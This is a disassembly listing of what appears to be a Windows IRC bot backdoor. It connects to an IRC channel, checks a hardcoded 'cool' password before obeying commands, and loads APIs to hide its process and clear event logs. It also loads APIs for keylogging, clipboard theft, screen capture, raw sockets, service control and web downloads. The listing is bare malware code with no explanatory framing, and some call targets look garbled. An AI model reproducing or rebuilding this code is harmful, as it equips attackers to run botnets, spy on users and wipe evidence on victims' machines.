		jmp	loc_40963D
; ---------------------------------------------------------------------------


loc_409515:				; CODE XREF: sub_401ACD+3D57j
					; sub_401ACD+3D6Ej
		push	edi
		push	offset dword_42A24C
		push	[ebp+arg_4]
		call	sub_409823
		add	esp, 0Ch
		push	edi
		push	offset unk_429CFC
		jmp	loc_40963D
; ---------------------------------------------------------------------------


loc_409531:				; CODE XREF: sub_401ACD+3D29j
					; sub_401ACD+3D40j
		push	[ebp+esi+var_88]
		push	edi
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		add	esp, 10h
		push	edi
		push	offset unk_429CDC
		jmp	loc_40963D
; ---------------------------------------------------------------------------


loc_409554:				; CODE XREF: sub_401ACD+3CFBj
					; sub_401ACD+3D12j
		push	edi
		push	offset aNickS	; "NICK	%s\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		add	esp, 0Ch
		push	edi
		push	offset unk_429CB8
		jmp	loc_40963D
; ---------------------------------------------------------------------------


loc_409570:				; CODE XREF: sub_401ACD+3123j
					; sub_401ACD+313Aj
		push	offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		pop	ecx
		lea	eax, [ebp+var_2C4]
		pop	ecx
		push	edi
		push	offset unk_429C98
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_415D38
		push	edi
		call	sub_41C159
		add	esp, 14h


loc_4095A6:				; CODE XREF: sub_401ACD+7B23j
		push	eax
		call	near ptr 2680EF8h
		nop


loc_4095AD:				; CODE XREF: sub_401ACD+2A5Fj
		xor	eax, eax
		jmp	loc_401F78
; ---------------------------------------------------------------------------


loc_4095B4:				; CODE XREF: sub_401ACD+30F5j
					; sub_401ACD+310Cj
		push	offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		pop	ecx
		lea	eax, [ebp+var_2C4]
		pop	ecx
		push	edi
		push	offset unk_429C70
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_415D38
		push	edi
		call	sub_41C159
		add	esp, 14h
		imul	eax, 3E8h
		jmp	short loc_4095A6
; ---------------------------------------------------------------------------


loc_4095F2:				; CODE XREF: sub_401ACD+EADj
					; sub_401ACD+EC2j
		push	[ebp+esi+var_8C]
		xor	eax, eax
		cmp	[ebp+var_8F0], bl
		setnz	al
		push	eax
		lea	eax, [ebp+var_338]
		push	dword_42909C
		push	eax
		call	sub_40AE84
		add	esp, 10h
		lea	eax, [ebp+var_338]
		push	eax
		push	offset aNickS	; "NICK	%s\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		add	esp, 0Ch
		lea	eax, [ebp+var_338]
		push	eax
		push	offset unk_429C4C


loc_40963D:				; CODE XREF: sub_401ACD+6FCCj
					; sub_401ACD+75F1j ...
		call	sub_415DAC
		pop	ecx


loc_409643:				; CODE XREF: sub_401ACD+6BD8j
		pop	ecx


loc_409644:				; CODE XREF: sub_401ACD+63Dj
					; sub_401ACD+649j ...
		mov	eax, [ebp+arg_24]
		jmp	loc_401F78
; ---------------------------------------------------------------------------


loc_40964C:				; CODE XREF: sub_401ACD+A98j
					; sub_401ACD+AADj
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		mov	[ebp+arg_20], esi
		jz	loc_401F75
		cmp	[ebp+var_A4], ebx
		jnz	loc_401F75
		push	offset asc_42CDBC ; "!"
		push	[ebp+var_90]
		call	sub_41CAD4
		mov	esi, eax
		push	offset word_4CB88C
		push	ebx
		inc	esi
		call	sub_41CAD4
		push	offset asc_429C48 ; "~"
		push	eax
		call	sub_41CAD4
		push	[ebp+arg_20]
		mov	edi, eax
		push	offset aCool	; "cool"
		call	sub_41CA50
		add	esp, 20h
		test	eax, eax
		jz	short loc_4096EB
		lea	eax, [ebp+var_C4]
		push	edi
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSPassAut ; "NOTICE %s :Pass auth failed (%s!%s).\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		add	esp, 14h
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"...
		push	[ebp+arg_4]
		call	sub_409823
		add	esp, 0Ch
		push	edi
		push	esi
		push	offset unk_429BC8
		jmp	loc_4023EE
; ---------------------------------------------------------------------------


loc_4096EB:				; CODE XREF: sub_401ACD+7BDAj
		mov	[ebp+arg_24], offset off_42915C


loc_4096F2:				; CODE XREF: sub_401ACD+7C41j
		mov	eax, [ebp+arg_24]
		push	edi
		push	dword ptr [eax]
		call	sub_40B713
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_409752
		add	[ebp+arg_24], 4
		cmp	[ebp+arg_24], offset off_429160
		jb	short loc_4096F2
		lea	eax, [ebp+var_C4]
		push	edi
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSHostAut ; "NOTICE %s :Host Auth failed (%s!%s).\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		add	esp, 14h
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"...
		push	[ebp+arg_4]
		call	sub_409823
		add	esp, 0Ch
		push	edi
		push	esi
		push	offset unk_429B74
		jmp	loc_4023EE
; ---------------------------------------------------------------------------


loc_409752:				; CODE XREF: sub_401ACD+7C34j
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_409757:				; CODE XREF: sub_401ACD+7CB4j
		cmp	[ebp+arg_20], ebx
		jz	loc_401F75
		cmp	[edi], bl
		jnz	short loc_409777
		push	[ebp+arg_20]
		push	offset aCool	; "cool"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_409788


loc_409777:				; CODE XREF: sub_401ACD+7C95j
		inc	esi
		add	edi, 80h
		cmp	esi, 3
		jl	short loc_409757
		jmp	loc_401F75
; ---------------------------------------------------------------------------


loc_409788:				; CODE XREF: sub_401ACD+7CA8j
		shl	esi, 7
		add	esi, [ebp+arg_18]
		lea	eax, [ebp+var_E04]
		push	7Fh
		push	eax
		push	esi
		call	sub_41BFD0
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_4097BF
		push	ebx
		push	[ebp+var_4]
		push	offset unk_429B54
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 14h


loc_4097BF:				; CODE XREF: sub_401ACD+7CD6j
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset unk_429B34


loc_4097CB:				; CODE XREF: sub_401ACD+595j
					; sub_401ACD+2889j ...
		call	sub_415DAC


loc_4097D0:				; CODE XREF: sub_401ACD+1B81j
		pop	ecx


loc_4097D1:				; CODE XREF: sub_401ACD+24FDj
		pop	ecx
		jmp	loc_401F75
; ---------------------------------------------------------------------------


loc_4097D7:				; CODE XREF: sub_401ACD+20Ej
					; sub_401ACD+223j
		push	[ebp+arg_10]
		push	offset aUserhostS ; "USERHOST %s\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		add	esp, 0Ch
		push	offset aXI	; "-x+i"
		push	[ebp+arg_10]
		push	offset aModeSS_0 ; "MODE %s %s\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		add	esp, 10h
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		add	esp, 10h
		mov	dword_4CB884, edi
		jmp	loc_401D6A
sub_401ACD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409823	proc near		; CODE XREF: sub_401955+3Dp
					; sub_401ACD+1CBp ...

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	200h
		push	eax
		call	sub_41CB70
		add	esp, 10h
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CBA24
		leave
		retn
sub_409823	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409869	proc near		; CODE XREF: sub_401ACD+506p
					; sub_401ACD+134Ep ...

var_400		= byte ptr -400h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 400h
		cmp	[ebp+arg_C], 0
		push	esi
		push	edi
		mov	edi, offset aNotice ; "NOTICE"
		jnz	short loc_409884
		mov	edi, offset aPrivmsg ; "PRIVMSG"


loc_409884:				; CODE XREF: sub_409869+14j
		push	edi
		call	sub_41B9C0
		push	[ebp+arg_4]
		mov	esi, 1FAh
		sub	esi, eax
		call	sub_41B9C0
		pop	ecx
		sub	esi, eax
		pop	ecx
		lea	eax, [ebp+var_400]
		push	[ebp+arg_8]
		push	offset aS_1	; "%s"
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 10h
		lea	eax, [ebp+var_400]
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	edi
		push	offset aSSS_0	; "%s %s :%s\r\n"
		push	eax
		call	sub_41C266
		add	esp, 14h
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CBA24
		cmp	[ebp+arg_10], 0
		pop	edi
		pop	esi
		jz	short locret_409907
		push	7D0h
		call	near ptr 2680EF8h
		nop

locret_409907:				; CODE XREF: sub_409869+91j
		leave
		retn
sub_409869	endp


; =============== S U B	R O U T	I N E =======================================



sub_409909	proc near		; CODE XREF: ___:0040126Cp
		push	ebx
		push	ebp
		mov	ebp, dword_4270A4
		push	esi
		push	edi
		push	offset aKernel32_dll ; "kernel32.dll"
		call	ebp
		mov	esi, dword_4270C4
		mov	edi, eax
		xor	ebx, ebx
		cmp	edi, ebx
		jz	loc_409A29
		push	offset aSeterrormode ; "SetErrorMode"
		push	edi
		call	esi
		push	offset aCreatetoolhelp ; "CreateToolhelp32Snapshot"
		push	edi
		mov	dword_4CBA80, eax
		call	esi
		push	offset aProcess32first ; "Process32First"
		push	edi
		mov	dword_4CB9F4, eax
		call	esi
		push	offset aProcess32next ;	"Process32Next"
		push	edi
		mov	dword_4CB9D8, eax
		call	esi
		push	offset aModule32first ;	"Module32First"
		push	edi
		mov	dword_4CB8E8, eax
		call	esi
		push	offset aGetdiskfreespa ; "GetDiskFreeSpaceExA"
		push	edi
		mov	dword_4CB894, eax
		call	esi
		push	offset aGetlogicaldriv ; "GetLogicalDriveStringsA"
		push	edi
		mov	dword_4CB8C4, eax
		call	esi
		push	offset aGetdrivetypea ;	"GetDriveTypeA"
		push	edi
		mov	dword_4CB93C, eax
		call	esi
		push	offset aSearchpatha ; "SearchPathA"
		push	edi
		mov	dword_4CBA34, eax
		call	esi
		push	offset aQueryperforman ; "QueryPerformanceCounter"
		push	edi
		mov	dword_4CBA90, eax
		call	esi
		push	offset aQueryperform_0 ; "QueryPerformanceFrequency"
		push	edi
		mov	dword_4CB8F4, eax
		call	esi
		cmp	dword_4CBA80, ebx
		mov	dword_4CB8DC, eax
		jz	short loc_409A07
		cmp	dword_4CB9F4, ebx
		jz	short loc_409A07
		cmp	dword_4CB9D8, ebx
		jz	short loc_409A07
		cmp	dword_4CB8E8, ebx
		jz	short loc_409A07
		cmp	dword_4CB8C4, ebx
		jz	short loc_409A07
		cmp	dword_4CB93C, ebx
		jz	short loc_409A07
		cmp	dword_4CBA34, ebx
		jz	short loc_409A07
		cmp	dword_4CBA90, ebx
		jz	short loc_409A07
		cmp	dword_4CB8F4, ebx
		jz	short loc_409A07
		cmp	eax, ebx
		jnz	short loc_409A11


loc_409A07:				; CODE XREF: sub_409909+B8j
					; sub_409909+C0j ...
		mov	dword_4CBA94, 1


loc_409A11:				; CODE XREF: sub_409909+FCj
		push	offset aRegisterservic ; "RegisterServiceProcess"
		push	edi
		call	esi
		cmp	eax, ebx
		mov	dword_4CBA0C, eax
		jz	short loc_409A3E
		push	1
		push	ebx
		call	eax
		jmp	short loc_409A3E
; ---------------------------------------------------------------------------


loc_409A29:				; CODE XREF: sub_409909+1Dj
		call	near ptr 269086Bh
		nop
		mov	dword_4CBA98, eax
		mov	dword_4CBA94, 1


loc_409A3E:				; CODE XREF: sub_409909+117j
					; sub_409909+11Ej
		push	offset aUser32_dll ; "user32.dll"
		call	near ptr 26B0AD3h
		nop
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_409B53
		push	offset aSendmessagea ; "SendMessageA"
		push	edi
		call	esi
		push	offset aFindwindowa ; "FindWindowA"
		push	edi
		mov	dword_4CBA30, eax
		call	esi
		push	offset aIswindow ; "IsWindow"
		push	edi
		mov	dword_4CB9E0, eax
		call	esi
		push	offset aDestroywindow ;	"DestroyWindow"
		push	edi
		mov	dword_4CB974, eax
		call	esi
		push	offset aOpenclipboard ;	"OpenClipboard"
		push	edi
		mov	dword_4CBA84, eax
		call	esi
		push	offset aGetclipboardda ; "GetClipboardData"
		push	edi
		mov	dword_4CB9A4, eax
		call	esi
		push	offset aCloseclipboard ; "CloseClipboard"
		push	edi
		mov	dword_4CB9C4, eax
		call	esi
		push	offset aExitwindowsex ;	"ExitWindowsEx"
		push	edi
		mov	dword_4CBA28, eax
		call	esi
		cmp	dword_4CBA30, ebx
		mov	dword_4CB914, eax
		jz	short loc_409AF7
		cmp	dword_4CB9E0, ebx
		jz	short loc_409AF7
		cmp	dword_4CB974, ebx
		jz	short loc_409AF7
		cmp	dword_4CBA84, ebx
		jz	short loc_409AF7
		cmp	dword_4CB9A4, ebx
		jz	short loc_409AF7
		cmp	dword_4CB9C4, ebx
		jz	short loc_409AF7
		cmp	dword_4CBA28, ebx
		jz	short loc_409AF7
		cmp	eax, ebx
		jnz	short loc_409B01


loc_409AF7:				; CODE XREF: sub_409909+1B8j
					; sub_409909+1C0j ...
		mov	dword_4CBA9C, 1


loc_409B01:				; CODE XREF: sub_409909+1ECj
		push	offset aGetasynckeysta ; "GetAsyncKeyState"
		push	edi
		call	esi
		push	offset aGetkeystate ; "GetKeyState"
		push	edi
		mov	dword_4CB9A0, eax
		call	esi
		push	offset aGetwindowtexta ; "GetWindowTextA"
		push	edi
		mov	dword_4CB8A8, eax
		call	esi
		push	offset aGetforegroundw ; "GetForegroundWindow"
		push	edi
		mov	dword_4CB970, eax
		call	esi
		cmp	dword_4CB9A0, ebx
		mov	dword_4CB958, eax
		jz	short loc_409B5E
		cmp	dword_4CB8A8, ebx
		jz	short loc_409B5E
		cmp	dword_4CB970, ebx
		jz	short loc_409B5E
		cmp	eax, ebx
		jnz	short loc_409B68
		jmp	short loc_409B5E
; ---------------------------------------------------------------------------


loc_409B53:				; CODE XREF: sub_409909+144j
		call	near ptr 269086Bh
		nop
		mov	dword_4CBAA0, eax


loc_409B5E:				; CODE XREF: sub_409909+232j
					; sub_409909+23Aj ...
		mov	dword_4CBA9C, 1


loc_409B68:				; CODE XREF: sub_409909+246j
		push	offset aAdvapi32_dll ; "advapi32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_409D21
		push	offset aRegopenkeyexa ;	"RegOpenKeyExA"
		push	edi
		call	esi
		push	offset aRegcreatekeyex ; "RegCreateKeyExA"
		push	edi
		mov	dword_4CBA44, eax
		call	esi
		push	offset aRegsetvalueexa ; "RegSetValueExA"
		push	edi
		mov	dword_4CB988, eax
		call	esi
		push	offset aRegqueryvaluee ; "RegQueryValueExA"
		push	edi
		mov	dword_4CB9F8, eax
		call	esi
		push	offset aRegdeletevalue ; "RegDeleteValueA"
		push	edi
		mov	dword_4CB8D4, eax
		call	esi
		push	offset aRegclosekey ; "RegCloseKey"
		push	edi
		mov	dword_4CB938, eax
		call	esi
		push	offset aOpeneventloga ;	"OpenEventLogA"
		push	edi
		mov	dword_4CB9B0, eax
		call	esi
		push	offset aCleareventloga ; "ClearEventLogA"
		push	edi
		mov	dword_4CB954, eax
		call	esi
		cmp	dword_4CBA44, ebx
		mov	dword_4CB964, eax
		jz	short loc_409C11
		cmp	dword_4CB988, ebx
		jz	short loc_409C11
		cmp	dword_4CB9F8, ebx
		jz	short loc_409C11
		cmp	dword_4CB8D4, ebx
		jz	short loc_409C11
		cmp	dword_4CB938, ebx
		jz	short loc_409C11
		cmp	dword_4CB9B0, ebx
		jnz	short loc_409C1B


loc_409C11:				; CODE XREF: sub_409909+2DEj
					; sub_409909+2E6j ...
		mov	dword_4CBAA4, 1


loc_409C1B:				; CODE XREF: sub_409909+306j
		push	offset aOpenprocesstok ; "OpenProcessToken"
		push	edi
		call	esi
		push	offset aLookupprivileg ; "LookupPrivilegeValueA"
		push	edi
		mov	dword_4CB9B8, eax
		call	esi
		push	offset aAdjusttokenpri ; "AdjustTokenPrivileges"
		push	edi
		mov	dword_4CB990, eax
		call	esi
		cmp	dword_4CB9B8, ebx
		mov	dword_4CBA40, eax
		jz	short loc_409C56
		cmp	dword_4CB990, ebx
		jz	short loc_409C56
		cmp	eax, ebx
		jnz	short loc_409C60


loc_409C56:				; CODE XREF: sub_409909+33Fj
					; sub_409909+347j
		mov	dword_4CBAA4, 1


loc_409C60:				; CODE XREF: sub_409909+34Bj
		push	offset aOpenscmanagera ; "OpenSCManagerA"
		push	edi
		call	esi
		push	offset aOpenservicea ; "OpenServiceA"
		push	edi
		mov	dword_4CB9C8, eax
		call	esi
		push	offset aStartservicea ;	"StartServiceA"
		push	edi
		mov	dword_4CB8B0, eax
		call	esi
		push	offset aControlservice ; "ControlService"
		push	edi
		mov	dword_4CB8B8, eax
		call	esi
		push	offset aDeleteservice ;	"DeleteService"
		push	edi
		mov	dword_4CB91C, eax
		call	esi
		push	offset aCloseserviceha ; "CloseServiceHandle"
		push	edi
		mov	dword_4CB920, eax
		call	esi
		push	offset aEnumservicesst ; "EnumServicesStatusA"
		push	edi
		mov	dword_4CB8CC, eax
		call	esi
		push	offset aIsvalidsecurit ; "IsValidSecurityDescriptor"
		push	edi
		mov	dword_4CB994, eax
		call	esi
		cmp	dword_4CB9C8, ebx
		mov	dword_4CB8BC, eax
		jz	short loc_409D04
		cmp	dword_4CB8B0, ebx
		jz	short loc_409D04
		cmp	dword_4CB8B8, ebx
		jz	short loc_409D04
		cmp	dword_4CB91C, ebx
		jz	short loc_409D04
		cmp	dword_4CB920, ebx
		jz	short loc_409D04
		cmp	dword_4CB8CC, ebx
		jz	short loc_409D04
		cmp	dword_4CB994, ebx
		jz	short loc_409D04
		cmp	eax, ebx
		jnz	short loc_409D0E


loc_409D04:				; CODE XREF: sub_409909+3C5j
					; sub_409909+3CDj ...
		mov	dword_4CBAA4, 1


loc_409D0E:				; CODE XREF: sub_409909+3F9j
		push	offset aGetusernamea ; "GetUserNameA"
		push	edi
		call	esi
		cmp	eax, ebx
		mov	dword_4CB8B4, eax
		jnz	short loc_409D36
		jmp	short loc_409D2C
; ---------------------------------------------------------------------------


loc_409D21:				; CODE XREF: sub_409909+26Aj
		nop
		call	near ptr 269086Bh
		mov	dword_4CBAA8, eax


loc_409D2C:				; CODE XREF: sub_409909+416j
		mov	dword_4CBAA4, 1


loc_409D36:				; CODE XREF: sub_409909+414j
		push	offset aGdi32_dll ; "gdi32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_409E02
		push	offset aCreatedca ; "CreateDCA"
		push	edi
		call	esi
		push	offset aCreatedibsecti ; "CreateDIBSection"
		push	edi
		mov	dword_4CB9C0, eax
		call	esi
		push	offset aCreatecompatib ; "CreateCompatibleDC"
		push	edi
		mov	dword_4CBA18, eax
		call	esi
		push	offset aGetdevicecaps ;	"GetDeviceCaps"
		push	edi
		mov	dword_4CBA20, eax
		call	esi
		push	offset aGetdibcolortab ; "GetDIBColorTable"
		push	edi
		mov	dword_4CB9DC, eax
		call	esi
		push	offset aSelectobject ; "SelectObject"
		push	edi
		mov	dword_4CB8F8, eax
		call	esi
		push	offset aBitblt	; "BitBlt"
		push	edi
		mov	dword_4CB8A4, eax
		call	esi
		push	offset aDeletedc ; "DeleteDC"
		push	edi
		mov	dword_4CBA1C, eax
		call	esi
		push	offset aDeleteobject ; "DeleteObject"
		push	edi
		mov	dword_4CB890, eax
		call	esi
		cmp	dword_4CB9C0, ebx
		mov	dword_4CB930, eax
		jz	short loc_409E0D
		cmp	dword_4CBA18, ebx
		jz	short loc_409E0D
		cmp	dword_4CBA20, ebx
		jz	short loc_409E0D
		cmp	dword_4CB9DC, ebx
		jz	short loc_409E0D
		cmp	dword_4CB8F8, ebx
		jz	short loc_409E0D
		cmp	dword_4CB8A4, ebx
		jz	short loc_409E0D
		cmp	dword_4CBA1C, ebx
		jz	short loc_409E0D
		cmp	dword_4CB890, ebx
		jz	short loc_409E0D
		cmp	eax, ebx
		jnz	short loc_409E17
		jmp	short loc_409E0D
; ---------------------------------------------------------------------------


loc_409E02:				; CODE XREF: sub_409909+438j
		nop
		call	near ptr 269086Bh
		mov	dword_4CBAB0, eax


loc_409E0D:				; CODE XREF: sub_409909+4B9j
					; sub_409909+4C1j ...
		mov	dword_4CBAAC, 1


loc_409E17:				; CODE XREF: sub_409909+4F5j
		mov	ebp, dword_4270C0
		push	offset aWs2_32_dll ; "ws2_32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40A0D3
		push	offset aWsastartup ; "WSAStartup"
		push	edi
		call	esi
		push	offset aWsasocketa ; "WSASocketA"
		push	edi
		mov	dword_4CB944, eax
		call	esi
		push	offset aWsaasyncselect ; "WSAAsyncSelect"
		push	edi
		mov	dword_4CBA78, eax
		call	esi
		push	offset a__wsafdisset ; "__WSAFDIsSet"
		push	edi
		mov	dword_4CB8E4, eax
		call	esi
		push	offset aWsaioctl ; "WSAIoctl"
		push	edi
		mov	dword_4CB8C0, eax
		call	esi
		push	offset aWsagetlasterro ; "WSAGetLastError"
		push	edi
		mov	dword_4CB980, eax
		call	esi
		push	offset aWsacleanup ; "WSACleanup"
		push	edi
		mov	dword_4CB968, eax
		call	esi
		push	offset aSocket	; "socket"
		push	edi
		mov	dword_4CB92C, eax
		call	esi
		push	offset aIoctlsocket ; "ioctlsocket"
		push	edi
		mov	dword_4CBA54, eax
		call	esi
		push	offset aConnect	; "connect"
		push	edi
		mov	dword_4CBA70, eax
		call	esi
		push	offset aInet_ntoa ; "inet_ntoa"
		push	edi
		mov	dword_4CB97C, eax
		call	esi
		push	offset aInet_addr ; "inet_addr"
		push	edi
		mov	dword_4CBA60, eax
		call	esi
		push	offset aHtons	; "htons"
		push	edi
		mov	dword_4CBA14, eax
		call	esi
		push	offset aHtonl	; "htonl"
		push	edi
		mov	dword_4CB9D4, eax
		call	esi
		push	offset aNtohs	; "ntohs"
		push	edi
		mov	dword_4CB9D0, eax
		call	esi
		push	offset aNtohl	; "ntohl"
		push	edi
		mov	dword_4CB904, eax
		call	esi
		push	offset aSend	; "send"
		push	edi
		mov	dword_4CB8FC, eax
		call	esi
		push	offset aSendto	; "sendto"
		push	edi
		mov	dword_4CBA24, eax
		call	esi
		push	offset aRecv	; "recv"
		push	edi
		mov	dword_4CBA38, eax
		call	esi
		push	offset aRecvfrom ; "recvfrom"
		push	edi
		mov	dword_4CB9EC, eax
		call	esi
		mov	dword_4CB9AC, eax
		push	offset aBind	; "bind"
		push	edi
		call	esi
		push	offset aSelect	; "select"
		push	edi
		mov	dword_4CBA00, eax
		call	esi
		push	offset aListen	; "listen"
		push	edi
		mov	dword_4CB9BC, eax
		call	esi
		push	offset aAccept	; "accept"
		push	edi
		mov	dword_4CB9FC, eax
		call	esi
		push	offset aSetsockopt ; "setsockopt"
		push	edi
		mov	dword_4CBA68, eax
		call	esi
		push	offset aGetsockname ; "getsockname"
		push	edi
		mov	dword_4CB9B4, eax
		call	esi
		push	offset aGethostname ; "gethostname"
		push	edi
		mov	dword_4CB978, eax
		call	esi
		push	offset aGethostbyname ;	"gethostbyname"
		push	edi
		mov	dword_4CB9E8, eax
		call	esi
		push	offset aGethostbyaddr ;	"gethostbyaddr"
		push	edi
		mov	dword_4CBA58, eax
		call	esi
		push	offset aGetpeername ; "getpeername"
		push	edi
		mov	dword_4CB98C, eax
		call	esi
		push	offset aClosesocket ; "closesocket"
		push	edi
		mov	dword_4CB928, eax
		call	esi
		cmp	dword_4CB944, ebx
		mov	dword_4CBA6C, eax
		jz	loc_40A0DE
		cmp	dword_4CBA78, ebx
		jz	loc_40A0DE
		cmp	dword_4CB8E4, ebx
		jz	loc_40A0DE
		cmp	dword_4CB980, ebx
		jz	loc_40A0DE
		cmp	dword_4CB968, ebx
		jz	loc_40A0DE
		cmp	dword_4CB92C, ebx
		jz	loc_40A0DE
		cmp	dword_4CBA54, ebx
		jz	loc_40A0DE
		cmp	dword_4CBA70, ebx
		jz	loc_40A0DE
		cmp	dword_4CB97C, ebx
		jz	loc_40A0DE
		cmp	dword_4CBA60, ebx
		jz	loc_40A0DE
		cmp	dword_4CBA14, ebx
		jz	loc_40A0DE
		cmp	dword_4CB9D4, ebx
		jz	loc_40A0DE
		cmp	dword_4CB9D0, ebx
		jz	loc_40A0DE
		cmp	dword_4CB904, ebx
		jz	short loc_40A0DE
		cmp	dword_4CBA24, ebx
		jz	short loc_40A0DE
		cmp	dword_4CBA38, ebx
		jz	short loc_40A0DE
		cmp	dword_4CB9EC, ebx
		jz	short loc_40A0DE
		cmp	dword_4CB9AC, ebx
		jz	short loc_40A0DE
		cmp	dword_4CBA00, ebx
		jz	short loc_40A0DE
		cmp	dword_4CB9BC, ebx
		jz	short loc_40A0DE
		cmp	dword_4CB9FC, ebx
		jz	short loc_40A0DE
		cmp	dword_4CBA68, ebx
		jz	short loc_40A0DE
		cmp	dword_4CB9B4, ebx
		jz	short loc_40A0DE
		cmp	dword_4CB978, ebx
		jz	short loc_40A0DE
		cmp	dword_4CB9E8, ebx
		jz	short loc_40A0DE
		cmp	dword_4CBA58, ebx
		jz	short loc_40A0DE
		cmp	dword_4CB98C, ebx
		jz	short loc_40A0DE
		cmp	eax, ebx
		jnz	short loc_40A0E8
		jmp	short loc_40A0DE
; ---------------------------------------------------------------------------


loc_40A0D3:				; CODE XREF: sub_409909+51Fj
		nop
		call	near ptr 269086Bh
		mov	dword_4CBAB8, eax


loc_40A0DE:				; CODE XREF: sub_409909+6BEj
					; sub_409909+6CAj ...
		mov	dword_4CBAB4, 1


loc_40A0E8:				; CODE XREF: sub_409909+7C6j
		push	offset aWininet_dll ; "wininet.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40A1ED
		push	offset aInternetgetcon ; "InternetGetConnectedState"
		push	edi
		call	esi
		push	offset aInternetgetc_0 ; "InternetGetConnectedStateEx"
		push	edi
		mov	dword_4CB910, eax
		call	esi
		push	offset aHttpopenreques ; "HttpOpenRequestA"
		push	edi
		mov	dword_4CB898, eax
		call	esi
		push	offset aHttpsendreques ; "HttpSendRequestA"
		push	edi
		mov	dword_4CB99C, eax
		call	esi
		push	offset aInternetconnec ; "InternetConnectA"
		push	edi
		mov	dword_4CB948, eax
		call	esi
		push	offset aInternetopena ;	"InternetOpenA"
		push	edi
		mov	dword_4CB9A8, eax
		call	esi
		push	offset aInternetopenur ; "InternetOpenUrlA"
		push	edi
		mov	dword_4CB96C, eax
		call	esi
		push	offset aInternetcracku ; "InternetCrackUrlA"
		push	edi
		mov	dword_4CB8D8, eax
		call	esi
		push	offset aInternetreadfi ; "InternetReadFile"
		push	edi
		mov	dword_4CB8D0, eax
		call	esi
		push	offset aInternetcloseh ; "InternetCloseHandle"
		push	edi
		mov	dword_4CB8E0, eax
		call	esi
		cmp	dword_4CB910, ebx
		mov	ecx, dword_4CB96C
		mov	dword_4CBA08, eax
		jz	short loc_40A1C9
		cmp	dword_4CB898, ebx
		jz	short loc_40A1C9
		cmp	dword_4CB99C, ebx
		jz	short loc_40A1C9
		cmp	dword_4CB948, ebx
		jz	short loc_40A1C9
		cmp	dword_4CB9A8, ebx
		jz	short loc_40A1C9
		cmp	ecx, ebx
		jz	short loc_40A1C9
		cmp	dword_4CB8D8, ebx
		jz	short loc_40A1C9
		cmp	dword_4CB8D0, ebx
		jz	short loc_40A1C9
		cmp	dword_4CB8E0, ebx
		jz	short loc_40A1C9
		cmp	eax, ebx
		jnz	short loc_40A1D3


loc_40A1C9:				; CODE XREF: sub_409909+87Ej
					; sub_409909+886j ...
		mov	dword_4CBABC, 1


loc_40A1D3:				; CODE XREF: sub_409909+8BEj
		cmp	ecx, ebx
		jz	short loc_40A208
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible)"
		call	ecx
		cmp	eax, ebx
		mov	dword_4CB984, eax
		jnz	short loc_40A208
		jmp	short loc_40A202
; ---------------------------------------------------------------------------


loc_40A1ED:				; CODE XREF: sub_409909+7EAj
		call	near ptr 269086Bh
		nop
		mov	dword_4CBAC0, eax
		mov	dword_4CBABC, 1


loc_40A202:				; CODE XREF: sub_409909+8E2j
		mov	dword_4CB984, ebx


loc_40A208:				; CODE XREF: sub_409909+8CCj
					; sub_409909+8E0j
		push	offset aIcmp_dll ; "icmp.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A252
